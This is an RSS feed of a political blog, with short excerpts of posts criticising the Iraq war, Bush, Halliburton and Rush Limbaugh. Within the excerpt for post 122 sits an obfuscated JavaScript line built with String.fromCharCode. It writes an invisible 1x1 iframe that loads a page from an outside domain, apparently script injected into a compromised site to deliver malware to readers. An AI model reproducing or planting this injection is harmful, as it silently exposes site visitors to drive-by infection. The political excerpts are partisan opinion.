http://www.endoftherepublic.com We hold these truths to be self-evident. Thu, 24 Jun 2010 19:04:28 +0000 http://backend.userland.com/rss092 en "Had we gone into Baghdad -- We could have done it. You guys could have done it. You could have been there in 48 hours. And then what? Which sergeant, which private, whose life would be at stake in perhaps a fruitless hunt in an urban guerilla war to find ... http://www.endoftherepublic.com/?p=11 So I have this friend, he is a right wing republican, and yet we get along (better outside of election season). I wanted to know, am I crazy because I haven't been persuaded. Below are a couple of his attempts: document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62)) http://www.endoftherepublic.com/?p=122 On a lighter note, I read a marketing site on occasion, they have some pretty good ideas, and I'm always looking for those running my own business and all. They are running a contest, and giving away an IPod touch....so if you're a blogger reading this blog go check it out! The ... http://www.endoftherepublic.com/?p=121 The first caucus in the country is coming on the 3rd of January....so everyone in New Hampshire watch what happens and everyone in Iowa go Caucus! http://www.endoftherepublic.com/?p=120 Finally someone is standing up to Halliburton/KBR.  Vanity Fair is running a piece titled "The People vs the Profiteers".  It is a truly mind opening, and brings to light not only the HUGE overruns and fraud connected with the subcontracting of the war, but the DOJ's efforts to NOT investigate ... http://www.endoftherepublic.com/?p=119 Pill Popping Rush Limbaugh came out recently saying troops that don't back the strategy in Iraq are "phoney soldiers". I caught this on youtube and thought it was appropriate. [youtube:http://www.youtube.com/watch?v=kKM_NsTswco] [tags]rush limbaugh, iraq, youtube[/tags] http://www.endoftherepublic.com/?p=118 Apparently a Spanish official has released a transcript of a private talk between Dubya and Jose Maria Aznar of Spain in early 2003. The gist of the conversation is that Dubya is going to invade regardless of what the world thinks, and is dead set on the "fact" that Saddam is ... http://www.endoftherepublic.com/?p=117 Mr. Bush spoke to deadening silence at the UN yesterday, calling for action in every corner of the world.  It is the opinion of Mr. Bush that the UN itself needs to Every civilized nation also has a responsibility to stand up for the people suffering under dictatorship,â€? the president ... http://www.endoftherepublic.com/?p=116 So everyone and their dog is ranting about Ahmadinejad's visit to New York, so why should I be different. Why is this causing so much friction.  I know about the supposed links between Iran and the Iraq insurgency, I know about them developing nuclear technology, and I know how evil they ... http://www.endoftherepublic.com/?p=115 Here is a clip of Garofalo bringing up some good points on Real-Time with Bill Maher. Rants on Blackwater, Iraq, Bush, Halliburtan, etc. Even Salmon Rushdie (of Satanic Verses Fame) chimes in. Why doen't we hear more people speaking like this in the mainstream media? [youtube:http://www.youtube.com/watch?v=Zkbve0a8qlk]   [tags]garofalo, mahr, rushdie, oreilly[/tags] http://www.endoftherepublic.com/?p=114